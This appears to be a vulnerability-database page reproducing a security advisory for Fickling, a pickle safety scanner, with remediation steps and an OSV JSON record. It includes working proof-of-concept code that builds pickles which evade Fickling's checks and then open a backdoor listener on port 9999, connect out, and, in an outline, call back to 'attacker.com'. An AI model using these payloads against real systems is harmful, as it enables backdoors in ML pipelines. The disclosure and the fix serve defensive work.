GHSA-mxhj-88fx-4pcv: Fickling OBJ Opcode Call Invisibility Bypasses Vulnerability

HIGH
CWE-436
Published
Advisory Summary

GHSA-mxhj-88fx-4pcv is a HIGH obj opcode call invisibility bypasses vulnerability (CWE-436: Interpretation Conflict) affecting Fickling libraries in the PyPI ecosystem. The issue involves obj opcode call invisibility bypasses all safety checks. Remediation is available by upgrading affected packages to version 0.1.8.

GHSA-mxhj-88fx-4pcv at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-mxhj-88fx-4pcv
Severity HIGH
CVSS v3.1 Base Score N/A
CWE Classification CWE-436: Interpretation Conflict
Affected Product Fickling
Package Ecosystem PyPI
Published Date
Last Updated

How to Fix GHSA-mxhj-88fx-4pcv

To remediate this vulnerability, upgrade all affected Fickling dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

fickling fixed: 0.1.8
pip install fickling>=0.1.8
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show fickling

How to Check if You Are Affected

To determine whether your Python environment is affected by GHSA-mxhj-88fx-4pcv, inspect your installed packages using pip:

pip show fickling

Analyze the terminal output to locate any version of Fickling in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.1.8), your application is affected.

Note: The pip show fickling command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-436: Interpretation Conflict, where product a handles inputs or steps differently than product b, which causes a to perform incorrect actions based on its perception of b's state. In Fickling, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

# Assessment The interpreter so it behaves closer to CPython when dealing with `OBJ`, `NEWOBJ`, and `NEWOBJ_EX` opcodes (https://github.com/trailofbits/fickling/commit/ff423dade2bb1f72b2b48586c022fac40cbd9a4a). # Original report ## Summary All 5 of fickling's safety interfaces -- `is_likely_safe()`, `check_safety()`, CLI `--check-safety`, `always_check_safety()`, and the `check_safety()` context manager -- report `LIKELY_SAFE` / raise no exceptions for pickle files that use the OBJ opcode to call dangerous stdlib functions (signal handlers, network servers, network connections, file operations). The OBJ opcode's implementation in fickling pushes function calls directly onto the interpreter stack without persisting them to the AST via `new_variable()`. When the result is discarded with POP, the call vanishes from the final AST entirely, making it invisible to all 9 analysis passes. This is a separate vulnerability from the REDUCE+BUILD bypass, with a different root cause. It survives all three proposed fixes for the REDUCE+BUILD vulnerability. ## Details The vulnerability is a single missing `new_variable()` call in `Obj.run()` (`fickle.py:1333-1350`). **REDUCE** (`fickle.py:1286-1301`) correctly persists calls to the AST: ```python # Line 1300: call IS saved to module_body var_name = interpreter.new_variable(call) interpreter.stack.append(ast.Name(var_name, ast.Load())) ``` The comment on lines 1296-1299 explicitly states: "if we just save it to the stack, then it might not make it to the final AST unless the stack value is actually used." **OBJ** (`fickle.py:1333-1350`) does exactly what that comment warns against: ```python # Line 1348: call is ONLY on the stack, NOT in module_body interpreter.stack.append(ast.Call(kls, args, [])) ``` When the OBJ result is discarded by POP, the `ast.Call` is gone. The decompiled AST shows the import but no function call: ```python from smtplib import SMTP # import present (from STACK_GLOBAL) result = None # no call to SMTP visible ``` Yet at runtime, `SMTP('127.0.0.1')` executes and opens a TCP connection. **NEWOBJ** (`fickle.py:1411-1420`) and **NEWOBJ_EX** (`fickle.py:1423-1433`) have the same code pattern but are less exploitable since CPython's NEWOBJ calls `cls.__new__()` (allocation only) while OBJ calls `cls(*args)` (full constructor execution with `__init__` side effects). ### Affected versions All versions through 0.1.7 (latest as of 2026-02-19). ### Affected APIs - `fickling.is_likely_safe()` - returns `True` for bypass payloads - `fickling.analysis.check_safety()` - returns `AnalysisResults` with `severity = Severity.LIKELY_SAFE` - `fickling --check-safety` CLI - exits with code 0 - `fickling.always_check_safety()` + `pickle.load()` - no `UnsafeFileError` raised, malicious code executes - `fickling.check_safety()` context manager + `pickle.load()` - no `UnsafeFileError` raised, malicious code executes ## PoC A pickle that opens a TCP connection to an attacker's server via OBJ+POP, yet fickling reports it as `LIKELY_SAFE`: ```python import io, struct def sbu(s): """SHORT_BINUNICODE opcode helper.""" b = s.encode() return b"\x8c" + struct.pack("<B", len(b)) + b def make_obj_pop_bypass(): """ Pickle that calls smtplib.SMTP('127.0.0.1') at runtime, but the call is invisible to fickling. Opcode sequence: MARK STACK_GLOBAL 'smtplib' 'SMTP' (import persisted to AST) SHORT_BINUNICODE '127.0.0.1' (argument) OBJ (call SMTP('127.0.0.1'), push result) (ast.Call on stack only, NOT in AST) POP (discard result -> call GONE) NONE STOP """ buf = io.BytesIO() buf.write(b"\x80\x04\x95") # PROTO 4 + FRAME payload = io.BytesIO() payload.write(b"(") # MARK payload.write(sbu("smtplib") + sbu("SMTP")) # push module + func strings payload.write(b"\x93") # STACK_GLOBAL payload.write(sbu("127.0.0.1")) # push argument payload.write(b"o") # OBJ: call SMTP('127.0.0.1') payload.write(b"0") # POP: discard result payload.write(b"N.") # NONE + STOP frame_data = payload.getvalue() buf.write(struct.pack("<Q", len(frame_data))) buf.write(frame_data) return buf.getvalue() import fickling, tempfile, os data = make_obj_pop_bypass() path = os.path.join(tempfile.mkdtemp(), "bypass.pkl") with open(path, "wb") as f: f.write(data) print(fickling.is_likely_safe(path)) # Output: True <-- BYPASSED (network connection invisible to fickling) ``` fickling decompiles this to: ```python from smtplib import SMTP result = None ``` Yet at runtime, `SMTP('127.0.0.1')` executes and opens a TCP connection. **CLI verification:** ```bash $ fickling --check-safety bypass.pkl; echo "EXIT: $?" EXIT: 0 # BYPASSED ``` **Comparison with REDUCE (same function, detected):** ```bash $ fickling --check-safety reduce_smtp.pkl; echo "EXIT: $?" Warning: Fickling detected that the pickle file may be unsafe. EXIT: 1 # DETECTED ``` ### Backdoor listener PoC (most impactful) A pickle that opens a TCP listener on port 9999, binding to all interfaces: ```python import io, struct def sbu(s): b = s.encode() return b"\x8c" + struct.pack("<B", len(b)) + b def binint(n): return b"J" + struct.pack("<i", n) def make_backdoor(): buf = io.BytesIO() buf.write(b"\x80\x04\x95") # PROTO 4 + FRAME payload = io.BytesIO() # OBJ+POP: TCPServer(('0.0.0.0', 9999), BaseRequestHandler) payload.write(b"(") # MARK payload.write(sbu("socketserver") + sbu("TCPServer") + b"\x93") # STACK_GLOBAL payload.write(b"(") # MARK (inner tuple) payload.write(sbu("0.0.0.0")) # host payload.write(binint(9999)) # port payload.write(b"t") # TUPLE payload.write(sbu("socketserver") + sbu("BaseRequestHandler") + b"\x93") # handler payload.write(b"o") # OBJ payload.write(b"0") # POP payload.write(b"N.") # NONE + STOP frame_data = payload.getvalue() buf.write(struct.pack("<Q", len(frame_data))) buf.write(frame_data) return buf.getvalue() import fickling data = make_backdoor() with open("/tmp/backdoor.pkl", "wb") as f: f.write(data) print(fickling.is_likely_safe("/tmp/backdoor.pkl")) # Output: True <-- BYPASSED import pickle, socket server = pickle.loads(data) # Port 9999 is now LISTENING on all interfaces s = socket.socket() s.connect(("127.0.0.1", 9999)) print("Connected to backdoor port!") # succeeds s.close() server.server_close() ``` ### Multi-stage combined PoC A single pickle combining signal suppression + backdoor listener + outbound callback + file persistence: ```python # All four operations in one pickle, all invisible to fickling: # 1. signal.signal(SIGTERM, SIG_IGN) - suppress graceful shutdown # 2. socketserver.TCPServer(('0.0.0.0', 9999), BaseRequestHandler) - backdoor # 3. smtplib.SMTP('attacker.com') - C2 callback # 4. sqlite3.connect('/tmp/.marker') - persistence marker # fickling reports: LIKELY_SAFE # All 4 operations execute at runtime ``` **`always_check_safety()` verification:** ```python import fickling, pickle fickling.always_check_safety() with open("poc_obj_multi.pkl", "rb") as f: result = pickle.load(f) # No UnsafeFileError raised -- all 4 malicious operations executed ``` ## Impact An attacker can distribute a malicious pickle file (e.g., a backdoored ML model) that passes all fickling safety checks. Demonstrated impacts: - **Backdoor network listener**: `socketserver.TCPServer(('0.0.0.0', 9999), BaseRequestHandler)` opens a port on all interfaces. The TCPServer constructor calls `server_bind()` and `server_activate()`, so the port is open immediately after `pickle.loads()` returns. - **Process persistence**: `signal.signal(SIGTERM, SIG_IGN)` makes the process ignore SIGTERM. In Kubernetes/Docker/ECS, the backdoor stays alive for 30+ seconds per restart attempt. - **Outbound exfiltration**: `smtplib.SMTP('attacker.com')` opens an outbound TCP connection. The attacker's server learns the victim's IP and hostname. - **File creation on disk**: `sqlite3.connect(path)` creates a file at an attacker-chosen path. A single pickle combines all operations. In cloud ML environments, this enables persistent backdoor access while resisting graceful shutdown. This affects any application using fickling as a safety gate for ML model files. The bypass works for any stdlib module NOT in fickling's `UNSAFE_IMPORTS` blocklist. Blocked modules (os, subprocess, socket, builtins, etc.) are still detected at the import level. ## Suggested Fix Add `new_variable()` to `Obj.run()` (lines 1348 and 1350), applying the same pattern used by `Reduce.run()` (line 1300): ```python # fickle.py, Obj.run(): - if args or hasattr(kls, "__getinitargs__") or not isinstance(kls, type): - interpreter.stack.append(ast.Call(kls, args, [])) - else: - interpreter.stack.append(ast.Call(kls, kls, [])) + if args or hasattr(kls, "__getinitargs__") or not isinstance(kls, type): + call = ast.Call(kls, args, []) + else: + call = ast.Call(kls, kls, []) + var_name = interpreter.new_variable(call) + interpreter.stack.append(ast.Name(var_name, ast.Load())) ``` Also apply to `NewObj.run()` (line 1414) and `NewObjEx.run()` (line 1426) for defense in depth.

GHSA-mxhj-88fx-4pcv Affected Fickling Versions

1 component(s)
Fixed Versions:
0.1.8
Product / Package Ecosystem Affected Versions Fixed Version
fickling
PyPI
< 0.1.8
0.1.8

References

Frequently Asked Questions

What is GHSA-mxhj-88fx-4pcv?
GHSA-mxhj-88fx-4pcv is a security vulnerability in Fickling involving OBJ opcode call invisibility bypasses all safety checks under CWE-436: Interpretation Conflict.
Which Fickling versions are affected?
Affected versions include releases prior to 0.1.8 across affected packages: fickling.
What version fixes GHSA-mxhj-88fx-4pcv?
Upgrading to 0.1.8 (or the latest patched release for your respective branch) resolves the vulnerability.
Is fickling affected?
Yes, fickling is affected in releases prior to 0.1.8. Upgrade your dependency to 0.1.8 or later.
What CWE is associated with GHSA-mxhj-88fx-4pcv?
GHSA-mxhj-88fx-4pcv is classified under CWE-436: Interpretation Conflict (Product A handles inputs or steps differently than Product B, which causes A to perform incorrect actions based on its perception of B's state.).
How can I check PyPI dependencies for GHSA-mxhj-88fx-4pcv?
Run the dependency tree command: 'pip show fickling'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-mxhj-88fx-4pcv",
  "modified" : "2026-02-24T21:41:31Z",
  "published" : "2026-02-24T21:41:31Z",
  "aliases" : [ ],
  "summary" : "Fickling: OBJ opcode call invisibility bypasses all safety checks",
  "details" : "# Assessment\n\nThe interpreter so it behaves closer to CPython when dealing with `OBJ`, `NEWOBJ`, and `NEWOBJ_EX` opcodes (https://github.com/trailofbits/fickling/commit/ff423dade2bb1f72b2b48586c022fac40cbd9a4a).\n\n# Original report\n\n## Summary\n\nAll 5 of fickling's safety interfaces -- `is_likely_safe()`, `check_safety()`, CLI `--check-safety`, `always_check_safety()`, and the `check_safety()` context manager -- report `LIKELY_SAFE` / raise no exceptions for pickle files that use the OBJ opcode to call dangerous stdlib functions (signal handlers, network servers, network connections, file operations). The OBJ opcode's implementation in fickling pushes function calls directly onto the interpreter stack without persisting them to the AST via `new_variable()`. When the result is discarded with POP, the call vanishes from the final AST entirely, making it invisible to all 9 analysis passes.\n\nThis is a separate vulnerability from the REDUCE+BUILD bypass, with a different root cause. It survives all three proposed fixes for the REDUCE+BUILD vulnerability.\n\n## Details\n\nThe vulnerability is a single missing `new_variable()` call in `Obj.run()` (`fickle.py:1333-1350`).\n\n**REDUCE** (`fickle.py:1286-1301`) correctly persists calls to the AST:\n```python\n# Line 1300: call IS saved to module_body\nvar_name = interpreter.new_variable(call)\ninterpreter.stack.append(ast.Name(var_name, ast.Load()))\n```\n\nThe comment on lines 1296-1299 explicitly states: \"if we just save it to the stack, then it might not make it to the final AST unless the stack value is actually used.\"\n\n**OBJ** (`fickle.py:1333-1350`) does exactly what that comment warns against:\n```python\n# Line 1348: call is ONLY on the stack, NOT in module_body\ninterpreter.stack.append(ast.Call(kls, args, []))\n```\n\nWhen the OBJ result is discarded by POP, the `ast.Call` is gone. The decompiled AST shows the import but no function call:\n```python\nfrom smtplib import SMTP    # import present (from STACK_GLOBAL)\nresult = None              # no call to SMTP visible\n```\n\nYet at runtime, `SMTP('127.0.0.1')` executes and opens a TCP connection.\n\n**NEWOBJ** (`fickle.py:1411-1420`) and **NEWOBJ_EX** (`fickle.py:1423-1433`) have the same code pattern but are less exploitable since CPython's NEWOBJ calls `cls.__new__()` (allocation only) while OBJ calls `cls(*args)` (full constructor execution with `__init__` side effects).\n\n### Affected versions\n\nAll versions through 0.1.7 (latest as of 2026-02-19).\n\n### Affected APIs\n\n- `fickling.is_likely_safe()` - returns `True` for bypass payloads\n- `fickling.analysis.check_safety()` - returns `AnalysisResults` with `severity = Severity.LIKELY_SAFE`\n- `fickling --check-safety` CLI - exits with code 0\n- `fickling.always_check_safety()` + `pickle.load()` - no `UnsafeFileError` raised, malicious code executes\n- `fickling.check_safety()` context manager + `pickle.load()` - no `UnsafeFileError` raised, malicious code executes\n\n## PoC\n\nA pickle that opens a TCP connection to an attacker's server via OBJ+POP, yet fickling reports it as `LIKELY_SAFE`:\n\n```python\nimport io, struct\n\ndef sbu(s):\n    \"\"\"SHORT_BINUNICODE opcode helper.\"\"\"\n    b = s.encode()\n    return b\"\\x8c\" + struct.pack(\"<B\", len(b)) + b\n\ndef make_obj_pop_bypass():\n    \"\"\"\n    Pickle that calls smtplib.SMTP('127.0.0.1') at runtime,\n    but the call is invisible to fickling.\n\n    Opcode sequence:\n        MARK\n          STACK_GLOBAL 'smtplib' 'SMTP'   (import persisted to AST)\n          SHORT_BINUNICODE '127.0.0.1'    (argument)\n        OBJ                               (call SMTP('127.0.0.1'), push result)\n                                          (ast.Call on stack only, NOT in AST)\n        POP                               (discard result -> call GONE)\n        NONE\n        STOP\n    \"\"\"\n    buf = io.BytesIO()\n    buf.write(b\"\\x80\\x04\\x95\")  # PROTO 4 + FRAME\n\n    payload = io.BytesIO()\n    payload.write(b\"(\")                              # MARK\n    payload.write(sbu(\"smtplib\") + sbu(\"SMTP\"))      # push module + func strings\n    payload.write(b\"\\x93\")                            # STACK_GLOBAL\n    payload.write(sbu(\"127.0.0.1\"))                   # push argument\n    payload.write(b\"o\")                               # OBJ: call SMTP('127.0.0.1')\n    payload.write(b\"0\")                               # POP: discard result\n    payload.write(b\"N.\")                              # NONE + STOP\n\n    frame_data = payload.getvalue()\n    buf.write(struct.pack(\"<Q\", len(frame_data)))\n    buf.write(frame_data)\n    return buf.getvalue()\n\nimport fickling, tempfile, os\ndata = make_obj_pop_bypass()\npath = os.path.join(tempfile.mkdtemp(), \"bypass.pkl\")\nwith open(path, \"wb\") as f:\n    f.write(data)\n\nprint(fickling.is_likely_safe(path))\n# Output: True  <-- BYPASSED (network connection invisible to fickling)\n```\n\nfickling decompiles this to:\n```python\nfrom smtplib import SMTP\nresult = None\n```\n\nYet at runtime, `SMTP('127.0.0.1')` executes and opens a TCP connection.\n\n**CLI verification:**\n```bash\n$ fickling --check-safety bypass.pkl; echo \"EXIT: $?\"\nEXIT: 0    # BYPASSED\n```\n\n**Comparison with REDUCE (same function, detected):**\n```bash\n$ fickling --check-safety reduce_smtp.pkl; echo \"EXIT: $?\"\nWarning: Fickling detected that the pickle file may be unsafe.\nEXIT: 1    # DETECTED\n```\n\n### Backdoor listener PoC (most impactful)\n\nA pickle that opens a TCP listener on port 9999, binding to all interfaces:\n\n```python\nimport io, struct\n\ndef sbu(s):\n    b = s.encode()\n    return b\"\\x8c\" + struct.pack(\"<B\", len(b)) + b\n\ndef binint(n):\n    return b\"J\" + struct.pack(\"<i\", n)\n\ndef make_backdoor():\n    buf = io.BytesIO()\n    buf.write(b\"\\x80\\x04\\x95\")  # PROTO 4 + FRAME\n\n    payload = io.BytesIO()\n    # OBJ+POP: TCPServer(('0.0.0.0', 9999), BaseRequestHandler)\n    payload.write(b\"(\")                                          # MARK\n    payload.write(sbu(\"socketserver\") + sbu(\"TCPServer\") + b\"\\x93\")  # STACK_GLOBAL\n    payload.write(b\"(\")                                          # MARK (inner tuple)\n    payload.write(sbu(\"0.0.0.0\"))                                # host\n    payload.write(binint(9999))                                  # port\n    payload.write(b\"t\")                                          # TUPLE\n    payload.write(sbu(\"socketserver\") + sbu(\"BaseRequestHandler\") + b\"\\x93\")  # handler\n    payload.write(b\"o\")                                          # OBJ\n    payload.write(b\"0\")                                          # POP\n    payload.write(b\"N.\")                                         # NONE + STOP\n\n    frame_data = payload.getvalue()\n    buf.write(struct.pack(\"<Q\", len(frame_data)))\n    buf.write(frame_data)\n    return buf.getvalue()\n\nimport fickling\ndata = make_backdoor()\nwith open(\"/tmp/backdoor.pkl\", \"wb\") as f:\n    f.write(data)\n\nprint(fickling.is_likely_safe(\"/tmp/backdoor.pkl\"))\n# Output: True  <-- BYPASSED\n\nimport pickle, socket\nserver = pickle.loads(data)\n# Port 9999 is now LISTENING on all interfaces\n\ns = socket.socket()\ns.connect((\"127.0.0.1\", 9999))\nprint(\"Connected to backdoor port!\")  # succeeds\ns.close()\nserver.server_close()\n```\n\n### Multi-stage combined PoC\n\nA single pickle combining signal suppression + backdoor listener + outbound callback + file persistence:\n\n```python\n# All four operations in one pickle, all invisible to fickling:\n# 1. signal.signal(SIGTERM, SIG_IGN) - suppress graceful shutdown\n# 2. socketserver.TCPServer(('0.0.0.0', 9999), BaseRequestHandler) - backdoor\n# 3. smtplib.SMTP('attacker.com') - C2 callback\n# 4. sqlite3.connect('/tmp/.marker') - persistence marker\n\n# fickling reports: LIKELY_SAFE\n# All 4 operations execute at runtime\n```\n\n\n**`always_check_safety()` verification:**\n```python\nimport fickling, pickle\n\nfickling.always_check_safety()\nwith open(\"poc_obj_multi.pkl\", \"rb\") as f:\n    result = pickle.load(f)\n# No UnsafeFileError raised -- all 4 malicious operations executed\n```\n\n## Impact\n\nAn attacker can distribute a malicious pickle file (e.g., a backdoored ML model) that passes all fickling safety checks. Demonstrated impacts:\n\n- **Backdoor network listener**: `socketserver.TCPServer(('0.0.0.0', 9999), BaseRequestHandler)` opens a port on all interfaces. The TCPServer constructor calls `server_bind()` and `server_activate()`, so the port is open immediately after `pickle.loads()` returns.\n- **Process persistence**: `signal.signal(SIGTERM, SIG_IGN)` makes the process ignore SIGTERM. In Kubernetes/Docker/ECS, the backdoor stays alive for 30+ seconds per restart attempt.\n- **Outbound exfiltration**: `smtplib.SMTP('attacker.com')` opens an outbound TCP connection. The attacker's server learns the victim's IP and hostname.\n- **File creation on disk**: `sqlite3.connect(path)` creates a file at an attacker-chosen path.\n\nA single pickle combines all operations. In cloud ML environments, this enables persistent backdoor access while resisting graceful shutdown. This affects any application using fickling as a safety gate for ML model files.\n\nThe bypass works for any stdlib module NOT in fickling's `UNSAFE_IMPORTS` blocklist. Blocked modules (os, subprocess, socket, builtins, etc.) are still detected at the import level.\n\n## Suggested Fix\n\nAdd `new_variable()` to `Obj.run()` (lines 1348 and 1350), applying the same pattern used by `Reduce.run()` (line 1300):\n\n```python\n# fickle.py, Obj.run():\n-       if args or hasattr(kls, \"__getinitargs__\") or not isinstance(kls, type):\n-           interpreter.stack.append(ast.Call(kls, args, []))\n-       else:\n-           interpreter.stack.append(ast.Call(kls, kls, []))\n+       if args or hasattr(kls, \"__getinitargs__\") or not isinstance(kls, type):\n+           call = ast.Call(kls, args, [])\n+       else:\n+           call = ast.Call(kls, kls, [])\n+       var_name = interpreter.new_variable(call)\n+       interpreter.stack.append(ast.Name(var_name, ast.Load()))\n```\n\nAlso apply to `NewObj.run()` (line 1414) and `NewObjEx.run()` (line 1426) for defense in depth.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "fickling"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.1.8"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/trailofbits/fickling/security/advisories/GHSA-mxhj-88fx-4pcv"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/trailofbits/fickling/commit/ff423dade2bb1f72b2b48586c022fac40cbd9a4a"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/trailofbits/fickling"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-436" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-02-24T21:41:31Z",
    "nvd_published_at" : null
  }
}